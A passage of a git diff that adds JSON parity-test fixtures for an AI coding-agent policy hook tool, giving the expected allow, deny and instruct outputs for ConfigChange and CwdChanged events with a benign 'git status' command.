p.defaultEnabled).map((p) => p.name); + + // Every default-enabled policy is currently payload-only; if that changes, + // the daemon will correctly report it in `needs_user_context` and the + // client will fall back — so this is documentation of today's state, not a + // requirement. Asserted so the change is deliberate. + const hostAccessDefaults = defaultEnabled.filter((n) => !sealed.has(n)); + expect(hostAccessDefaults).toEqual([]); + }); + + it("names a non-empty sealed set (guards against a vacuous subset check)", () => { + expect(PAYLOAD_ONLY_POLICIES.length).toBe(32); + }); +}); diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..65efb3ae --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ffeb0f40 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ef12cf7b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f0d5f208 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9cbc6cd6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a5ae125c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..35898215 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c11f30f1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..87d41c78 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d6bfd174 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e32cd600 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e3cba738 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..98b472aa --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..279df08d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..971cd5e8 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..10e1f679 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..afae9f15 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a055a4b6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d2e996fa --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..230eeee0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + 